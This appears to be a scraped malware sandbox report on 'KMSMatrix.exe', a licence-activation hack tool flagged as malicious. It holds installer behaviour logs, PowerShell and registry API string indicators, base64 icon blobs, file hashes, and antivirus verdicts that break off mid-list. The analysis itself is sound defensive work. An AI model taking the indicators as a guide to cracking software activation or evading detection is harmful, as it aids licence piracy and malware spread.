DC\Acrobat\acrocef_1\v8_context_snapshot.bin (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\vk_swiftshader.dll to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\vk_swiftshader.dll (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\vk_swiftshader_icd.json to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\vk_swiftshader_icd.json (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_2\vulkan-1.dll to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\vulkan-1.dll (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\AcroCEF\AcroCEF.exe to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\AcroCEF\cef.pak to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\cef.pak (UID: 00000000-00006664) "MsiExec.exe" called "CopyFileW" to copy %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\AcroCEF\cef_100_percent.pak to new location %PROGRAMFILES%\Adobe\Acrobat DC\Acrobat\acrocef_1\cef_100_percent.pak (UID: 00000000-00006664)7f:T8a0,"MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\cef.pak" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\cef_100_percent.pak" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\cef_200_percent.pak" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\cef_extensions.pak" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\chrome_100_percent.pak" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\chrome_200_percent.pak" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\chrome_elf.dll" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\COPYING.LGPLv2.1.txt" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\icudtl.dat" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\libcef.dll" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\LICENSE.txt" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\locales\en-US.pak" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\resources.pak" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\SingleClientServicesUpdater.exe" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\snapshot_blob.bin" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\swiftshader\libEGL.dll" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\swiftshader\libGLESv2.dll" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\v8_context_snapshot.bin" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\vk_swiftshader.dll" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\vk_swiftshader_icd.json" "MsiExec.exe" touched file "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\vulkan-1.dll"80:Ta9c,Found string "Exit-PSSession" (Indicator: "Exit-PSSession"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "New-PSSessionConfigurationFile" (Indicator: "New-PSSessionConfigurationFile"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Import-PSSession" (Indicator: "Import-PSSession"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Export-PSSession" (Indicator: "Export-PSSession"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Connect-PSSession" (Indicator: "Connect-PSSession"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Disconnect-PSSession" (Indicator: "Disconnect-PSSession"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "New-PSSession" (Indicator: "New-PSSession"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Get-PSSession" (Indicator: "Get-PSSession"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Remove-PSSession" (Indicator: "Remove-PSSession"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Enter-PSSession" (Indicator: "Enter-PSSession"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Receive-PSSession" (Indicator: "Receive-PSSession"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Disable-PSSessionConfiguration" (Indicator: "Disable-PSSessionConfiguration"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Enable-PSSessionConfiguration" (Indicator: "Enable-PSSessionConfiguration"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Get-PSSessionCapability" (Indicator: "Get-PSSessionCapability"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "New-PSSessionOption" (Indicator: "New-PSSessionOption"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Register-PSSessionConfiguration" (Indicator: "Register-PSSessionConfiguration"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Set-PSSessionConfiguration" (Indicator: "Set-PSSessionConfiguration"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Test-PSSessionConfigurationFile" (Indicator: "Test-PSSessionConfigurationFile"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp") Found string "Unregister-PSSessionConfiguration" (Indicator: "Unregister-PSSessionConfiguration"; Source: "00000000-00005288.00000000.68366.12970000.00000004.mdmp")81:T43b,"MsiExec.exe" called "Process32FirstW with parameter [System Process]" (UID: 00000000-00001356) "MsiExec.exe" called "Process32NextW with parameter System" (UID: 00000000-00001356) "MsiExec.exe" called "Process32NextW with parameter Registry" (UID: 00000000-00001356) "MsiExec.exe" called "Process32NextW with parameter smss.exe" (UID: 00000000-00001356) "MsiExec.exe" called "Process32NextW with parameter csrss.exe" (UID: 00000000-00001356) "MsiExec.exe" called "Process32NextW with parameter wininit.exe" (UID: 00000000-00001356) "MsiExec.exe" called "Process32NextW with parameter winlogon.exe" (UID: 00000000-00001356) "MsiExec.exe" called "Process32NextW with parameter services.exe" (UID: 00000000-00001356) "MsiExec.exe" called "Process32NextW with parameter lsass.exe" (UID: 00000000-00001356) "MsiExec.exe" called "Process32NextW with parameter svchost.exe" (UID: 00000000-00001356) "MsiExec.exe" called "Process32NextW with parameter fontdrvhost.exe" (UID: 00000000-00001356) "MsiExec.exe" called "Process32NextW with parameter dwm.exe" (UID: 00000000-00001356)82:T86a,Found reference to API "11174408080,7820,3125,,GetDriveTypeW,kernel32.dll,"00:17:39.734",RX=0,PX=0" (Indicator: "GetDriveType"; Source: "00000000-00004700.00000000.67824.F9900000.00000004.mdmp") Found reference to API "11179969216,7820,3125,,GetDriveTypeW,kernel32.dll,"00:17:39.734",RX=0,PX=0" (Indicator: "GetDriveType"; Source: "00000000-00004700.00000000.67824.F9900000.00000004.mdmp") Found reference to API "11175859356,7820,3125,,GetDriveTypeW,kernel32.dll,"00:17:39.734",RX=0,PX=0" (Indicator: "GetDriveType"; Source: "00000000-00004700.00000000.67824.F9900000.00000004.mdmp") Found reference to API "11174756748,7820,3125,,GetDriveTypeW,kernel32.dll,"00:17:39.734",RX=0,PX=0" (Indicator: "GetDriveType"; Source: "00000000-00004700.00000000.67824.F9900000.00000004.mdmp") Found reference to API "11175034298,7820,3125,,GetDriveTypeW,kernel32.dll,"00:17:39.734",RX=0,PX=0" (Indicator: "GetDriveType"; Source: "00000000-00004700.00000000.67824.F9900000.00000004.mdmp") Found reference to API "11176624162,7820,3125,,GetDriveTypeW,kernel32.dll,"00:17:39.734",RX=0,PX=0" (Indicator: "GetDriveType"; Source: "00000000-00004700.00000000.67824.F9900000.00000004.mdmp") Found reference to API "11178405346,7820,3125,,GetDriveTypeW,kernel32.dll,"00:17:39.734",RX=0,PX=0" (Indicator: "GetDriveType"; Source: "00000000-00004700.00000000.67824.F9900000.00000004.mdmp") Found reference to API "11175308714,7820,3125,,GetDriveTypeW,kernel32.dll,"00:17:39.734",RX=0,PX=0" (Indicator: "GetDriveType"; Source: "00000000-00004700.00000000.67824.F9900000.00000004.mdmp") Found reference to API "11175586206,7820,3125,,GetDriveTypeW,kernel32.dll,"00:17:39.734",RX=0,PX=0" (Indicator: "GetDriveType"; Source: "00000000-00004700.00000000.67824.F9900000.00000004.mdmp") Found reference to API "11173153282,7820,3125,,GetDriveTypeW,kernel32.dll,"00:17:39.734",RX=0,PX=0" (Indicator: "GetDriveType"; Source: "00000000-00004700.00000000.67824.F9900000.00000004.mdmp") Found reference to API "11179223124,7820,3125,,GetDriveTypeW,kernel32.dll,"00:17:39.734",RX=0,PX=0" (Indicator: "GetDriveType"; Source: "00000000-00004700.00000000.67824.F9900000.00000004.mdmp")83:T5a1,Found reference to API "RegEnumKeyExA" (Indicator: "RegEnumKey"; Source: "00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp") Found reference to API "RegOpenKeyExA" (Indicator: "RegOpenKey"; Source: "00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp") Found reference to API "RegQueryValueExA" (Indicator: "RegQueryValue"; Source: "00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp, 00000000-00001016.00000000.68855.EAA23000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00001016.00000000.68855.1DD1B000.00000002.mdmp, 00000000-00001016.00000000.68855.EAA23000.00000002.mdmp") Found reference to API "RegQueryValueExW" (Indicator: "RegQueryValue"; Source: "00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp, 00000000-00004700.00000000.67824.EAA23000.00000002.mdmp") Found reference to API "RegGetValueW" (Indicator: "RegGetValue"; Source: "00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp") Found reference to API "RegOpenKeyExW" (Indicator: "RegOpenKey"; Source: "00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp, 00000000-00004700.00000000.67824.EAA23000.00000002.mdmp") Found reference to API "RegEnumKeyExW" (Indicator: "RegEnumKey"; Source: "00000000-00004700.00000000.67824.2A9E3000.00000002.mdmp")84:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAIyAAAAAAAAAAAAAAAAACIjIjIAAAAAAAAAAAAAAAIiMjM3IAAAAAAAAAAAAAIiIyMjNzAAAAAAAAAAAAAiInN3MzIgAAAAAAAAAAIiIiczJzciAAAAAAAAAAIiIiJzcidyIgAAAAAAAAIiInMnNyIiIiIAAAAAAAAiJ3d3d3IiIiIiAAAAAAAAInN3d3ciIiIiIAAAAAAAAiN3M3d3MzIiIiAAAAAAAAIjdzIohzcyIiIAAAAAAAACI3N3eIh3IiIiAAAAAAAAACM3N3iIciIiIAAAAAAAAAIid3iP+HIiIiAAAAAAAAAAIid4//hzIiAAAAAAAAAAACIiN4+IciIiAAAAAAAAAAAAIid3d3IiAAAAAAAAAAAAACI3JzNyIAAAAAAAAAAAAAACIiIiIgAAAAAAAAAAAAAAAAAiIiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==85:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAIyAAAAAAAAAAAAAAAAACIjIjIAAAAAAAAAAAAAAAIiMjM3IAAAAAAAAAAAAAIiIyMjNzAAAAAAAAAAAAAiInN3MzIgAAAAAAAAAAIiIiczJzciAAAAAAAAAAIiIiJzcidyIgAAAAAAAAIiInMnNyIiIiIAAAAAAAAiJ3d3d3IiIiIiAAAAAAAAInN3d3ciIiIiIAAAAAAAAiN3M3d3MzIiIiAAAAAAAAIjdzIohzcyIiIAAAAAAAACI3N3eIh3IiIiAAAAAAAAACM3N3iIciIiIAAAAAAAAAIid3iP+HIiIiAAAAAAAAAAIid4//hzIiAAAAAAAAAAACIiN4+IciIiAAAAAAAAAAAAIid3d3IiAAAAAAAAAAAAACI3JzNyIAAAAAAAAAAAAAACIiIiIgAAAAAAAAAAAAAAAAAiIiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==86:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAIyAAAAAAAAAAAAAAAAACIjIjIAAAAAAAAAAAAAAAIiMjM3IAAAAAAAAAAAAAIiIyMjNzAAAAAAAAAAAAAiInN3MzIgAAAAAAAAAAIiIiczJzciAAAAAAAAAAIiIiJzcidyIgAAAAAAAAIiInMnNyIiIiIAAAAAAAAiJ3d3d3IiIiIiAAAAAAAAInN3d3ciIiIiIAAAAAAAAiN3M3d3MzIiIiAAAAAAAAIjdzIohzcyIiIAAAAAAAACI3N3eIh3IiIiAAAAAAAAACM3N3iIciIiIAAAAAAAAAIid3iP+HIiIiAAAAAAAAAAIid4//hzIiAAAAAAAAAAACIiN4+IciIiAAAAAAAAAAAAIid3d3IiAAAAAAAAAAAAACI3JzNyIAAAAAAAAAAAAAACIiIiIgAAAAAAAAAAAAAAAAAiIiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==87:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAIyAAAAAAAAAAAAAAAAACIjIjIAAAAAAAAAAAAAAAIiMjM3IAAAAAAAAAAAAAIiIyMjNzAAAAAAAAAAAAAiInN3MzIgAAAAAAAAAAIiIiczJzciAAAAAAAAAAIiIiJzcidyIgAAAAAAAAIiInMnNyIiIiIAAAAAAAAiJ3d3d3IiIiIiAAAAAAAAInN3d3ciIiIiIAAAAAAAAiN3M3d3MzIiIiAAAAAAAAIjdzIohzcyIiIAAAAAAAACI3N3eIh3IiIiAAAAAAAAACM3N3iIciIiIAAAAAAAAAIid3iP+HIiIiAAAAAAAAAAIid4//hzIiAAAAAAAAAAACIiN4+IciIiAAAAAAAAAAAAIid3d3IiAAAAAAAAAAAAACI3JzNyIAAAAAAAAAAAAAACIiIiIgAAAAAAAAAAAAAAAAAiIiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==88:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAIyAAAAAAAAAAAAAAAAACIjIjIAAAAAAAAAAAAAAAIiMjM3IAAAAAAAAAAAAAIiIyMjNzAAAAAAAAAAAAAiInN3MzIgAAAAAAAAAAIiIiczJzciAAAAAAAAAAIiIiJzcidyIgAAAAAAAAIiInMnNyIiIiIAAAAAAAAiJ3d3d3IiIiIiAAAAAAAAInN3d3ciIiIiIAAAAAAAAiN3M3d3MzIiIiAAAAAAAAIjdzIohzcyIiIAAAAAAAACI3N3eIh3IiIiAAAAAAAAACM3N3iIciIiIAAAAAAAAAIid3iP+HIiIiAAAAAAAAAAIid4//hzIiAAAAAAAAAAACIiN4+IciIiAAAAAAAAAAAAIid3d3IiAAAAAAAAAAAAACI3JzNyIAAAAAAAAAAAAAACIiIiIgAAAAAAAAAAAAAAAAAiIiAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA==30:["$","$Lc",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$33"}}],["$","$L35",null,{"initialData":{"schema_version":"1.0.17","sha256":"a25083ef4328032da57f91385f1f2a36659e1ea63178dea6228c29edc648d4e5","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1794185139173,"unified_at":"2026-11-09T00:45:39.173Z","metadata":{"hashes":{"sha256":"a25083ef4328032da57f91385f1f2a36659e1ea63178dea6228c29edc648d4e5","sha1":"e6032db8bbdc6cae4b98daf5454235b9f63a6e31","md5":"8652e237aa3a30e14bd7e0ec0c906e3b","sha512":"25ba2d2b091d3a425188f5b5f230cf9d734e44a47b1dc533bb85db461cc45b03ec48af7dae6342bcac79d3e0d156a325bdd9f0d4bcc3b0ac959f13b7518a1123","ssdeep":"196608:6OcSu2ngldlGEwS3RK7fyrdQw1+N91axDVPL6u:dCroSojSdQ+DVT6u","ssdeep_chunks":["196608:6OcSu2n","196608:OcSu2ng","196608:cSu2ngl","196608:Su2ngld","196608:u2ngldl","196608:2ngldlG","196608:ngldlGE","196608:gldlGEw","196608:ldlGEwS","196608:dlGEwS3","196608:lGEwS3R","196608:GEwS3RK","196608:EwS3RK7","196608:wS3RK7f","196608:S3RK7fy","196608:3RK7fyr","196608:RK7fyrd","196608:K7fyrdQ","196608:7fyrdQw","196608:fyrdQw1","196608:yrdQw1+","196608:rdQw1+N","196608:dQw1+N9","196608:Qw1+N91","196608:w1+N91a","196608:1+N91ax","196608:+N91axD","196608:N91axDV","196608:91axDVP","196608:1axDVPL","196608:axDVPL6","196608:xDVPL6u","393216:6OcSu2n","393216:OcSu2ng","393216:cSu2ngl","393216:Su2ngld","393216:u2ngldl","393216:2ngldlG","393216:ngldlGE","393216:gldlGEw","393216:ldlGEwS","393216:dlGEwS3","393216:lGEwS3R","393216:GEwS3RK","393216:EwS3RK7","393216:wS3RK7f","393216:S3RK7fy","393216:3RK7fyr","393216:RK7fyrd","393216:K7fyrdQ","393216:7fyrdQw","393216:fyrdQw1","393216:yrdQw1+","393216:rdQw1+N","393216:dQw1+N9","393216:Qw1+N91","393216:w1+N91a","393216:1+N91ax","393216:+N91axD","393216:N91axDV","393216:91axDVP","393216:1axDVPL","393216:axDVPL6","393216:xDVPL6u","196608:dCroSoj","196608:CroSojS","196608:roSojSd","196608:oSojSdQ","196608:SojSdQ+","196608:ojSdQ+D","196608:jSdQ+DV","196608:SdQ+DVT","196608:dQ+DVT6","196608:Q+DVT6u"],"imphash":"f34d5f2d4577ed6d9ceec516c1f5a744"},"file_info":{"file_name":"KMSMatrix.exe","file_type":["peexe","assembly","executable"],"file_type_id":".NET exe","file_size":7044096,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1702773896000,"last_seen":1730906955000,"last_multi_scan":1730906955000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":["hackkms","neshta","evasive","windows-server-utility"]},"stats":{"av":{"malicious_count":9,"suspicious_count":0,"total_engines":25},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":96},"sandbox_signatures":{"informative_count":262,"suspicious_count":15,"malicious_count":15,"total":292},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"malicious","threat_name":"Trojan/Win.Generic","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"malicious","threat_name":"RiskWare/MSIL.HackKMS","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"malicious","threat_name":"Gen:Variant.Application.HackTool.KMSActivator.110","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"comodo":{"name":"Comodo","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"malicious","threat_name":"win/malicious_confidence_100% (W)","status":"malicious","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"cylance":{"name":"Cylance","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of MSIL/HackKMS_AGen.P potentially unsafe application","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"malicious","threat_name":"Unwanted-Program ( 005ab15d1 )","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"mcafee":{"name":"McAfee","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"malicious","threat_name":"TScope.Trojan.MSIL","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"webrootsmd":{"name":"Webroot 